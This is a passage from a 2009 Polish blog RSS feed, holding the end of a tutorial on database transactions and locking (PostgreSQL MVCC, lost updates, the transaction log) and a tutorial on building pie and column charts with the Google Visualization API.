&nbsp;<span class="co1">--------------------------</span><br />
&nbsp;<span class="co1">--&gt; 15 | 0 | bagietka</span><br />
&nbsp;<span class="co1">--------------------------</span></div>
<p>A DELETE ustawia Xmax kasowanego rekordu:</p>
<div class="sql dean_ch" style="white-space: nowrap;"><span class="co1">--------------------------</span><br />
&nbsp;xmin <span class="sy0">|</span> xmax <span class="sy0">|</span> title<br />
&nbsp;<span class="co1">--------------------------</span><br />
&nbsp;<span class="nu0">15</span> <span class="sy0">|</span> <span class="nu0">15</span> <span class="sy0">|</span> bagietka<br />
&nbsp;<span class="co1">--------------------------</span><br />
&nbsp;<span class="nu0">15</span> <span class="sy0">|</span> <span class="nu0">16</span> <span class="sy0">|</span> bagietka<br />
&nbsp;<span class="co1">--------------------------</span></div>
<p><strong>PostgreSQL </strong>pozostawia stare wersje wierszy w tabeli, co powoduje jej niepotrzebne rozrastanie. Zachodzi więc konieczność kasowania co jakiś czas wszystkich rekordów których Xmax jest mniejszy od numeru najstarszej transakcji. Do tego służy polecenie <strong>VACUUM</strong>.<br />
Jeśli VACUUM nie wykonamy, możemy odzyskać skasowane rekordy za pomocą programu pgfsck.</p>
<h2>Lost update problem</h2>
<p>Problemem, o który się otarliśmy podczas tego kursu już kilka razy jest Lost Update Problem.<br />
Spotykany w wielu dziedzinach życia informatyka. W każdym współdzielonym projekcie / obiekcie prędzej czy później wystąpi problem utraconych modyfikacji. Na czym to polega? Wyobraźmy sobie projekt tworzony przez dwóch programistów. Mają rozdzielone zadania, lecz słaby kontakt ze sobą.<br />
Załóżmy, że obydwaj mają wolne popołudnie w piątek po pracy. Klawiatura, monitor i Żywiec przygotowane.<br />
Programista A bierze się za dopisywanie kolejnych klas w silniku strony.<br />
Programista B zaczyna pisać rejestrację użytkowników.<br />
Kiedy Programista A edytuje plik klasy.php, Programista B tworzy rejestracja.php.</p>
<p>Jednak Programista B stwierdza, że w klasie użytkowników brakuje istotnego elementu.<br />
Kiedy Programista A skończył swoją pracę i zaktualizował klasy.php na serwerze, Programista B aktualizował poprzednią wersję pliku klasy.php. Kiedy skończył zaktualizował go na serwerze i w ten sposób zignorował modyfikacje Programisty A.</p>
<p>Taka sytuacja oczywiście jest czysto teoretyczna, bo mało prawdopodobne by średnio rozgarnięci programiści popełnili podobny błąd.<br />
Opis takiej sytuacji miał tylko uświadomić ci zasadę problemu. Niech pomoże Ci w tym również ta ilustracja:<br />
<img class="alignnone size-full wp-image-376" title="brak blokowania dostępu" src="http://majareq.viawww.pl/wp-content/uploads/2009/04/blok1.png" alt="" width="500" height="250" /></p>
<p>W systemach operacyjnych  zazwyczaj jest tak, ze gdy jeden program korzysta z pewnych klastrów pamięci, żaden inny program nie ma prawa zapisu tam, choć dostęp ma - może odczytywać stan pamięci przed modyfikacją do czasu zatwierdzenia zmiany. Systemy ignorujące tą zasadę mają skłonność do częstego zawieszania się.</p>
<p>Eliminacją problemu utraconych danych jest blokowanie dostępu do danych zasobów na czas edycji przez jednego użytkownika.<br />
Inaczej mówiąc zapewniamy czasową synchronizację transakcjom wielu użytkowników. Choć transakcje działają jednocześnie to efekt jest taki jakby były wykonywane iteracyjne, kolejno następując po sobie. Wyróżniamy synchronizacje pesymistyczne (blokowanie dostępu) oraz optymistyczne, czyli wykonywanie transakcji i sprawdzanie ewentualnych niezgodności, następujące w kolejności w jakiej wymieniłem.</p>
<h2>Typy blokad.</h2>
<p>Blokady dzielą się na poziomy. Są blokady na poziomie tabel i na poziomie wierszy.<br />
I tutaj wynika pierwsze zagrożenie lub raczej problem w transakcjach.<br />
Bo choć blokady na poziomie tabel można spotkać w większości (we wszystkich?) silników bazodanowych, to blokady wierszy tylko w tych bardziej zaawansowanych technologicznie.<br />
Blokowanie <em>CAŁEJ TABELI</em> na czas wykonywania transakcji jest okropnie niewydajne. A co jeśli z tabeli korzysta kilku, albo o zgrozo, kilkunastu użytkowników, to nie będą mogli oni dokonać nic w całej tabeli do czasu, aż nie zakończy się tamta pierwsza transakcja. Teraz już widzisz jak ważne jest zamykanie transakcji kiedy już tylko można tego dokonać.</p>
<p>Blokowanie wierszy jest o wiele lepsze. Ponieważ blokuje tylko jeden rekord i jest mniejsze prawdopodobieństwa zastoju, lub w przypadku źle napisanych aplikacji internetowych, blokady całej strony.</p>
<h2>Cofanie transakcji.</h2>
<p>Jak już dobrze wiesz transakcje umożliwiają cofanie się do punktu pośredniego lub do stanu przed rozpoczęciem grupy zapytań.<br />
Jak ta część mechanizmu współgra? Otóż na potrzeby tego projektu wynaleziono takie pojęcie jak dziennik transakcji. Nie jest on niczym innym jak dziennikiem logów aka zmian.<br />
Dzięki temu dziennikowi możliwe jest cofanie transakcji <em>JUŻ ZATWIERDZONYCH</em>.<br />
Dzienniki taki przechowują zapis wszystkich transakcji zazwyczaj od momentu ostatniego backupu bazy. Jak to działa?</p>
<p>Załóżmy że mamy backup bazy z przed 3 dni i nastąpiła awaria, dajmy na to dysku. W takim wypadku musimy przywrócić stan z przed 3 dni.<br />
Przywrócenie stanu z przed awarii jest banalnie proste po przywróceniu kopii bazy. Musimy potem tylko przywrócić zapisane transakcji w dzienniku transakcji, który na nowo wykona zapisane zapytania SQL.</p>
<p>Jeśli awaria nastąpiła z naszej winy, to następnym krokiem powinno być czynność zapobiegająca powtórzeniu się sytuacji.</p>
<h2>Podsumowanie i bibliografia.</h2>
<p>Dowiedzieliśmy się już do czego służą transakcje, jak się ich używa, jak działają oraz poznaliśmy och zastosowanie w bazach różnego typu. Wiemy już też jak twórcy języka SQL ułatwili życie programistom dając dodatkowe wsparcia.<br />
Wiemy już też jak ostrożnym trzeba być w korzystanie z pomocy tego typu. Wiemy zatem już wszystko co powinniśmy wiedzieć do wypróbowania tego w praktyce. Dlaczego więc zwlekasz?</p>
<p><strong>Źródła mojej wiedzy w tych tematach:</strong></p>
<ol>
<li>Szkolenie Microsoft SQL Server w PWSZ Elbląg.</li>
<li>Podręcznik, z którego korzystamy podczas szkolenia: Rafe Coburn - SQL</li>
<li>W niektórych momentach wyczerpania mózgu podczas pisania tego kursu: angielska i polska Wikipedia.</li>
<li>FAQ Obiektowe Bazy Danych autorstwa Agnieszki Wiercioch i Andrzeja Martyna (z AGH Kraków, Informatyka) pod kierunkiem mgr inż. Vahe Amirbekian'a</li>
</ol>
<p>Przyjemnej pracy <img src='http://vivee.info/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Grzegorz (<strong>MajareQ</strong>) Karwaszewski</p>
<p><small>Artykuł otrzymał prawa do publikacji dla: <a href="http://vivee.info">Vivee.info</a>, <a href="http://majareq.viawww.pl">Dzienniki Emku</a>, <a href="http://viawww.wortale.net">Wortal ViaWWW.pl</a>.</small></p>
<img src="http://vivee.info/?ak_action=api_record_view&id=862&type=feed" alt="" /><p class='fb-like'><iframe src='http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fvivee.info%2F2009%2F05%2F10%2Ftransakcje-w-bazach-danych%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=65&amp;font=lucida+grande' scrolling='no' frameborder='0' allowTransparency='true' style='border:none; overflow:hidden; width:450px; height:65px'></iframe></p>]]></content:encoded>
			<wfw:commentRss>http://vivee.info/2009/05/10/transakcje-w-bazach-danych/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Efektowne wykresy za pomocą Google Visualization API</title>
		<link>http://vivee.info/2009/01/16/efektowne-wykresy-za-pomoca-google-visualization-api/</link>
		<comments>http://vivee.info/2009/01/16/efektowne-wykresy-za-pomoca-google-visualization-api/#comments</comments>
		<pubDate>Fri, 16 Jan 2009 16:35:15 +0000</pubDate>
		<dc:creator>kamilgeneral</dc:creator>
				<category><![CDATA[Skrypty client-side]]></category>
		<category><![CDATA[Skrypty server-side]]></category>

		<guid isPermaLink="false">http://vivee.info/?p=513</guid>
		<description><![CDATA[W tym tutorialu postaram się Wam przedstawić jak zrobić wykres kołowy i słupkowy (pionowy jak i poziomy) za pomocą Google Visualization API. Wykres kołowy Demo Na początku musimy załadować JavaScript API. google.load&#40;'visualization', '1', &#123;'packages':&#91;'piechart'&#93;&#125;&#41;; Rysowanie wykresu. google.setOnLoadCallback&#40;drawChart&#41;; Teraz tworzenie tabeli. Musimy podać rodzaje i nazwy kolumn, oraz ilość rekordów. function drawChart&#40;&#41; &#123; var data = [...]]]></description>
			<content:encoded><![CDATA[<p>W tym tutorialu postaram się Wam przedstawić jak zrobić wykres kołowy i słupkowy (pionowy jak i poziomy) za pomocą Google Visualization API.<br />
<span id="more-513"></span></p>
<h2>Wykres kołowy</h2>
<p class="picture"><img src="http://pliki.vivee.info/api1.jpg" alt="Efektowne wykresy za pomocą Google Visualization API" /></p>
<p style="text-align:center;"><a href="http://rivnx.cuu.pl/_files/Google_Visualization_API/page1.html">Demo</a></p>
<p>Na początku musimy załadować JavaScript API.</p>
<div class="php dean_ch" style="white-space: nowrap;">google.load<span class="br0">&#40;</span><span class="st0">'visualization'</span>, <span class="st0">'1'</span>, <span class="br0">&#123;</span><span class="st0">'packages'</span>:<span class="br0">&#91;</span><span class="st0">'piechart'</span><span class="br0">&#93;</span><span class="br0">&#125;</span><span class="br0">&#41;</span>;</div>
<p>Rysowanie wykresu.</p>
<div class="php dean_ch" style="white-space: nowrap;">google.setOnLoadCallback<span class="br0">&#40;</span>drawChart<span class="br0">&#41;</span>;</div>
<p>Teraz tworzenie tabeli. Musimy podać rodzaje i nazwy kolumn, oraz ilość rekordów.</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">function</span> drawChart<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
<span class="kw2">var</span> data = <span class="kw2">new</span> google.visualization.DataTable<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp;data.addColumn<span class="br0">&#40;</span><span class="st0">'string'</span>, <span class="st0">'Zadanie'</span><span class="br0">&#41;</span>;<br />
&nbsp;data.addColumn<span class="br0">&#40;</span><span class="st0">'number'</span>, <span class="st0">'Godzin dziennie'</span><span class="br0">&#41;</span>;<br />
&nbsp;data.addRows<span class="br0">&#40;</span><span class="nu0">5</span><span class="br0">&#41;</span>;</div>
<p>Pora na dane do tabeli. Teraz w naszych danych podajemy numer w jakiej kolejności mają być pokazywane rekordy (zaczynamy liczenie od zera). Po przecinku podajemy 0 jeśli chcemy podać następnie nazwę rekordy i w następnym wierszu 1 jeśli chcemy dać wartość.</p>
<div class="php dean_ch" style="white-space: nowrap;">data.setValue<span class="br0">&#40;</span><span class="nu0">0</span>, <span class="nu0">0</span>, <span class="st0">'Spanie'</span><span class="br0">&#41;</span>;<br />
data.setValue<span class="br0">&#40;</span><span class="nu0">0</span>, <span class="nu0">1</span>, <span class="nu0">10</span><span class="br0">&#41;</span>;<br />
data.setValue<span class="br0">&#40;</span><span class="nu0">1</span>, <span class="nu0">0</span>, <span class="st0">'Jedzenie'</span><span class="br0">&#41;</span>;<br />
data.setValue<span class="br0">&#40;</span><span class="nu0">1</span>, <span class="nu0">1</span>, <span class="nu0">1</span><span class="br0">&#41;</span>;<br />
data.setValue<span class="br0">&#40;</span><span class="nu0">2</span>, <span class="nu0">0</span>, <span class="st0">'Szkoła'</span><span class="br0">&#41;</span>;<br />
data.setValue<span class="br0">&#40;</span><span class="nu0">2</span>, <span class="nu0">1</span>, <span class="nu0">8</span><span class="br0">&#41;</span>;<br />
data.setValue<span class="br0">&#40;</span><span class="nu0">3</span>, <span class="nu0">0</span>, <span class="st0">'Kompter'</span><span class="br0">&#41;</span>;<br />
data.setValue<span class="br0">&#40;</span><span class="nu0">3</span>, <span class="nu0">1</span>, <span class="nu0">3</span><span class="br0">&#41;</span>;<br />
data.setValue<span class="br0">&#40;</span><span class="nu0">4</span>, <span class="nu0">0</span>, <span class="st0">'Inne'</span><span class="br0">&#41;</span>;<br />
data.setValue<span class="br0">&#40;</span><span class="nu0">4</span>, <span class="nu0">1</span>, <span class="nu0">2</span><span class="br0">&#41;</span>;</div>
<p>Podajemy gdzie ma się pojawić wykres i jaki rodzaj . W tym przypadku pojawi się w divie o nazwie <code>chart_div</code> i rodzaju tak jak podaliśmy wcześniej <strong>PieChart</strong>.</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">var</span> chart = <span class="kw2">new</span> google.visualization.PieChart<span class="br0">&#40;</span>document.getElementById<span class="br0">&#40;</span><span class="st0">'chart_div'</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
<p>I na koniec wielkość, rodzaj (2D/3D) i nazwa całego wykresu.</p>
<div class="php dean_ch" style="white-space: nowrap;">chart.draw<span class="br0">&#40;</span>data, <span class="br0">&#123;</span>width: <span class="nu0">400</span>, height: <span class="nu0">240</span>, is3D: <span class="kw2">true</span>, title: <span class="st0">'Mój dzień'</span><span class="br0">&#125;</span><span class="br0">&#41;</span>;</div>
<p>Cały kod:</p>
<div class="html dean_ch" style="white-space: nowrap;"><span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;html&amp;gt;.html"><span class="kw2">&lt;html&gt;</span></span></a></span><br />
&nbsp; <span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;head&amp;gt;.html"><span class="kw2">&lt;head&gt;</span></span></a></span><br />
&nbsp; &nbsp; <span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;script.html"><span class="kw2">&lt;script</span></span></a> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">&quot;text/javascript&quot;</span> <span class="kw3">src</span><span class="sy0">=</span><span class="st0">&quot;http://www.google.com/jsapi&quot;</span>&gt;&lt;<span class="sy0">/</span>script&gt;</span><br />
&nbsp; &nbsp; <span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;script.html"><span class="kw2">&lt;script</span></span></a> <span class="kw3">type</span><span class="sy0">=</span><span class="st0">&quot;text/javascript&quot;</span><span class="sy0"><a href="http://december.com/html/4/element/&amp;gt;.html"><span class="kw2">&gt;</span></span></a></span> &nbsp; &nbsp;<br />
&nbsp; &nbsp; &nbsp; google.load('visualization', '1', {'packages':['piechart']});<br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; google.setOnLoadCallback(drawChart);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; function drawChart() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; var data = new google.visualization.DataTable();<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.addColumn('string', 'Zadanie');<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.addColumn('number', 'Godzin dziennie');<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.addRows(5);<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.setValue(0, 0, 'Spanie');<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.setValue(0, 1, 10);<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.setValue(1, 0, 'Jedzenie');<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.setValue(1, 1, 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.setValue(2, 0, 'Szkoła');<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.setValue(2, 1, 8);<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.setValue(3, 0, 'Kompter');<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.setValue(3, 1, 3);<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.setValue(4, 0, 'Inne');<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.setValue(4, 1, 2);</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; var chart = new google.visualization.PieChart(document.getElementById('chart_div'));<br />
&nbsp; &nbsp; &nbsp; &nbsp; chart.draw(data, {width: 400, height: 240, is3D: true, title: 'Mój dzień'});<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; <span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;/script&amp;gt;.html"><span class="kw2">&lt;/script&gt;</span></span></a></span><br />
&nbsp; <span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;/head&amp;gt;.html"><span class="kw2">&lt;/head&gt;</span></span></a></span></p>
<p>&nbsp; <span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;body&amp;gt;.html"><span class="kw2">&lt;body&gt;</span></span></a></span><br />
&nbsp; &nbsp; <span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;div.html"><span class="kw2">&lt;div</span></span></a> <span class="kw3">id</span><span class="sy0">=</span><span class="st0">&quot;chart_div&quot;</span>&gt;&lt;<span class="sy0">/</span>div&gt;</span><br />
&nbsp; <span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;/body&amp;gt;.html"><span class="kw2">&lt;/body&gt;</span></span></a></span><br />
<span class="sc2"><span class="sy0"><a href="http://december.com/html/4/element/&amp;lt;/html&amp;gt;.html"><span class="kw2">&lt;/html&gt;</span></span></a></span></div>
<h2>Wykres słupkowy</h2>
<p style="text-align:center;"><a href="http://rivnx.cuu.pl/_files/Google_Visualization_API/page2.html">Demo</a></p>
<p class="picture"><img src="http://pliki.vivee.info/api2.jpg" alt="Efektowne wykresy za pomocą Google Visualization API" /></p>
<p>Tak samo jak w poprzedni przykładzie rozpoczynamy od podlinkowanie JavaScript API.</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="sy0">&lt;</span>script type=<span class="st0">&quot;text/javascript&quot;</span> src=<span class="st0">&quot;http://www.google.com/jsapi&quot;</span><span class="sy0">&gt;&lt;/</span>script<span class="sy0">&gt;</span></div>
<p>Teraz jako rodzaj wykresu wybieramy <strong>columnchart</strong> jeśli chcemy wykres pionowy lub <strong>barchart</strong> dla wykresu poziomego.</p>
<div class="php dean_ch" style="white-space: nowrap;">google.load<span class="br0">&#40;</span><span class="st0">&quot;visualization&quot;</span>, <span class="st0">&quot;1&quot;</span>, <span class="br0">&#123;</span>packages:<span class="br0">&#91;</span><span class="st0">&quot;columnchart&quot;</span><span class="br0">&#93;</span><span class="br0">&#125;</span><span class="br0">&#41;</span>;</div>
<p>Następnie rysowanie wykresu.</p>
<div class="php dean_ch" style="white-space: nowrap;">google.setOnLoadCallback<span class="br0">&#40;</span>drawChart<span class="br0">&#41;</span>;</div>
<p>Tabelę danych tworzymy na tej samej zasadzie co poprzednio:</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">function</span> drawChart<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp;<span class="kw2">var</span> data = <span class="kw2">new</span> google.visualization.DataTable<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp;data.addColumn<span class="br0">&#40;</span><span class="st0">'string'</span>, <span class="st0">'Rok'</span><span class="br0">&#41;</span>;<br />
&nbsp;data.addColumn<span class="br0">&#40;</span><span class="st0">'number'</span>, <span class="st0">'Sprzedarz'</span><span class="br0">&#41;</span>;<br />
&nbsp;data.addColumn<span class="br0">&#40;</span><span class="st0">'number'</span>, <span class="st0">'Koszty'</span><span class="br0">&#41;</span>;<br />
&nbsp;data.addRows<span class="br0">&#40;</span><span class="nu0">4</span><span class="br0">&#41;</span>;</div>
<p>Tym razem dane się nam zmieniły. Też mamy numer, potem pod 0 mamy nazwę (w tym przykładzie rok), pod '1' pierwsza wartość, a pod '2' druga wartość.</p>
<div class="php dean_ch" style="white-space: nowrap;">data.setValue<span class="br0">&#40;</span><span class="nu0">0</span>, <span class="nu0">0</span>, <span class="st0">'2004'</span><span class="br0">&#41;</span>;<br />
data.setValue<span class="br0">&#40;</span><span class="nu0">0</span>, <span class="nu0">1</span>, <span class="nu0">1000</span><span class="br0">&#41;</span>;<br />
data.setValue<span class="br0">&#40;</span><span class="nu0">0</span>, <span class="nu0">2</span>, <span class="nu0">400</span><span class="br0">&#41;</span>;<br />
data.setValue<span class="br0">&#40;</span><span class="nu0">1</span>, <span class="nu0">0</span>, <span class="st0">'2005'</span><span class="br0">&#41;</span>;<br />
data.setValue<span class="br0">&#40;</span><span class="nu0">1</span>, <span class="nu0">1</span>, <span class="nu0">1170</span><span class="br0">&#41;</span>;<br />
data.setValue<span class="br0">&#40;</span><span class="nu0">1</span>, <span class="nu0">2</span>, <span class="nu0">460</span><span class="br0">&#41;</span>;<br />
data.setValue<span class="br0">&#40;</span><span class="nu0">2</span>, <span class="nu0">0</span>, <span class="st0">'2006'</span><span class="br0">&#41;</span>;<br />
data.setValue<span class="br0">&#40;</span><span class="nu0">2</span>, <span class="nu0">1</span>, <span class="nu0">660</span><span class="br0">&#41;</span>;<br />
data.setValue<span class="br0">&#40;</span><span class="nu0">2</span>, <span class="nu0">2</span>, <span class="nu0">1120</span><span class="br0">&#41;</span>;<br />
data.setValue<span class="br0">&#40;</span><span class="nu0">3</span>, <span class="nu0">0</span>, <span class="st0">'2007'</span><span class="br0">&#41;</span>;<br />
data.setValue<span class="br0">&#40;</span><span class="nu0">3</span>, <span class="nu0">1</span>, <span class="nu0">1030</span><span class="br0">&#41;</span>;<br />
data.setValue<span class="br0">&#40;</span><span class="nu0">3</span>, <span class="nu0">2</span>, <span class="nu0">540</span><span class="br0">&#41;</span>;</div>
<p>I na koniec taki sam kod tak jak przedtem, więc nie będę go omawiał. Musimy typamiętać by podać ColumnChart jeśli mamy wykres pionowy, albo BarChart jeśli mamy poziomy.</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">var</span> chart = <span class="kw2">new</span> google.visualization.ColumnChart<span class="br0">&#40;</span>document.getElementById<span class="br0">&#40;</span><span class="st0">'chart_div'</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
chart.draw<span class="br0">&#40;</span>data, <span class="br0">&#123;</span>width: <span class="nu0">400</span>, height: <span class="nu0">240</span>, is3D: <span class="kw2">true</span>, title: <span class="st0">'Zyski'</span><span class="br0">&#125;</span><span class="br0">&#41;</span>;</div>
<p>Cały kod:</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="sy0">&lt;</span>html<span class="sy0">&gt;</span><br />
&nbsp; <span class="sy0">&lt;</span>head<span class="sy0">&gt;</span><br />
&nbsp; &nbsp; <span class="sy0">&lt;</span>script type=<span class="st0">&quot;text/javascript&quot;</span> src=<span class="st0">&quot;http://www.google.com/jsapi&quot;</span><span class="sy0">&gt;&lt;/</span>script<span class="sy0">&gt;</span><br />
&nbsp; &nbsp; <span class="sy0">&lt;</span>script type=<span class="st0">&quot;text/javascript&quot;</span><span class="sy0">&gt;</span><br />
&nbsp; &nbsp; &nbsp; google.load<span class="br0">&#40;</span><span class="st0">&quot;visualization&quot;</span>, <span class="st0">&quot;1&quot;</span>, <span class="br0">&#123;</span>packages:<span class="br0">&#91;</span><span class="st0">&quot;columnchart&quot;</span><span class="br0">&#93;</span><span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; google.setOnLoadCallback<span class="br0">&#40;</span>drawChart<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; <span class="kw2">function</span> drawChart<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">var</span> data = <span class="kw2">new</span> google.visualization.DataTable<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.addColumn<span class="br0">&#40;</span><span class="st0">'string'</span>, <span class="st0">'Rok'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.addColumn<span class="br0">&#40;</span><span class="st0">'number'</span>, <span class="st0">'Sprzedarz'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.addColumn<span class="br0">&#40;</span><span class="st0">'number'</span>, <span class="st0">'Koszty'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.addRows<span class="br0">&#40;</span><span class="nu0">4</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.setValue<span class="br0">&#40;</span><span class="nu0">0</span>, <span class="nu0">0</span>, <span class="st0">'2004'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.setValue<span class="br0">&#40;</span><span class="nu0">0</span>, <span class="nu0">1</span>, <span class="nu0">1000</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.setValue<span class="br0">&#40;</span><span class="nu0">0</span>, <span class="nu0">2</span>, <span class="nu0">400</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.setValue<span class="br0">&#40;</span><span class="nu0">1</span>, <span class="nu0">0</span>, <span class="st0">'2005'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.setValue<span class="br0">&#40;</span><span class="nu0">1</span>, <span class="nu0">1</span>, <span class="nu0">1170</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.setValue<span class="br0">&#40;</span><span class="nu0">1</span>, <span class="nu0">2</span>, <span class="nu0">460</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.setValue<span class="br0">&#40;</span><span class="nu0">2</span>, <span class="nu0">0</span>, <span class="st0">'2006'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.setValue<span class="br0">&#40;</span><span class="nu0">2</span>, <span class="nu0">1</span>, <span class="nu0">660</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.setValue<span class="br0">&#40;</span><span class="nu0">2</span>, <span class="nu0">2</span>, <span class="nu0">1120</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.setValue<span class="br0">&#40;</span><span class="nu0">3</span>, <span class="nu0">0</span>, <span class="st0">'2007'</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.setValue<span class="br0">&#40;</span><span class="nu0">3</span>, <span class="nu0">1</span>, <span class="nu0">1030</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; data.setValue<span class="br0">&#40;</span><span class="nu0">3</span>, <span class="nu0">2</span>, <span class="nu0">540</span><span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">var</span> chart = <span class="kw2">new</span> google.visualization.ColumnChart<span class="br0">&#40;</span>document.getElementById<span class="br0">&#40;</span><span class="st0">'chart_div'</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; chart.draw<span class="br0">&#40;</span>data, <span class="br0">&#123;</span>width: <span class="nu0">400</span>, height: <span class="nu0">240</span>, is3D: <span class="kw2">true</span>, title: <span class="st0">'Zyski'</span><span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw2">&lt;/script&gt;</span><br />
&nbsp; <span class="sy0">&lt;/</span>head<span class="sy0">&gt;</span></p>
<p>&nbsp; <span class="sy0">&lt;</span>body<span class="sy0">&gt;</span><br />
&nbsp; &nbsp; <span class="sy0">&lt;</span>div id=<span class="st0">&quot;chart_div&quot;</span><span class="sy0">&gt;&lt;/</span>div<span class="sy0">&gt;</span><br />
&nbsp; <span class="sy0">&lt;/</span>body<span class="sy0">&gt;</span></div>
<h2>Podsumowanie</h2>
<p>To co tutaj zaprezentowałem jest tylko ułamkiem możliwości <strong>Google Visualization API</strong>. Zachęcam do odwiedzenia oficjalnej strony. Można tam znaleźć pełną dokumentację oraz ciekawe przykłady zostosowań.</p>
<p>W połączeniu z umiejętnościami programistycznymi na bazie Google Visualization API można wyczarowań naprawdę wiele efektownie wyglądających rzeczy.</p>
<img src="http://vivee.info/?ak_action=api_record_view&id=513&type=feed" alt="" /><p class='fb-like'><iframe src='http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fvivee.info%2F2009%2F01%2F16%2Fefektowne-wykresy-za-pomoca-google-visualization-api%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=65&amp;font=lucida+grande' scrolling='no' frameborder='0' allowTransparency='true' style='border:none; overflow:hidden; width:450px; height:65px'></iframe></p>]]></content:encoded>
			<wfw:commentRss>http://vivee.info/2009/01/16/efektowne-wykresy-za-pomoca-google-visualization-api/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Mieszanie logiki i prezentacji strony jest złe!</title>
		<link>http://vivee.info/2009/01/12/mieszanie-logiki-i-prezentacji-strony-jest-zle/</link>
		<comments>http://vivee.info/2009/01/12/mieszanie-logiki-i-prezentacji-strony-jest-zle/#comments</comments>
		<pubDate>Mon, 12 Jan 2009 19:55:32 +0000</pubDate>
		<dc:creator>majareq</dc:creator>
				<category><![CDATA[CMSy]]></category>
		<category><![CDATA[Skrypty server-side]]></category>
		<category><![CDATA[Tutoriale]]></category>
		<category><![CDATA[Webmaster]]></category>
		<category><![CDATA[logika]]></category>
		<category><![CDATA[opt]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[prezentacja]]></category>
		<category><![CDATA[smarty]]></category>
		<category><![CDATA[system szablonów]]></category>
		<category><![CDATA[szablony]]></category>
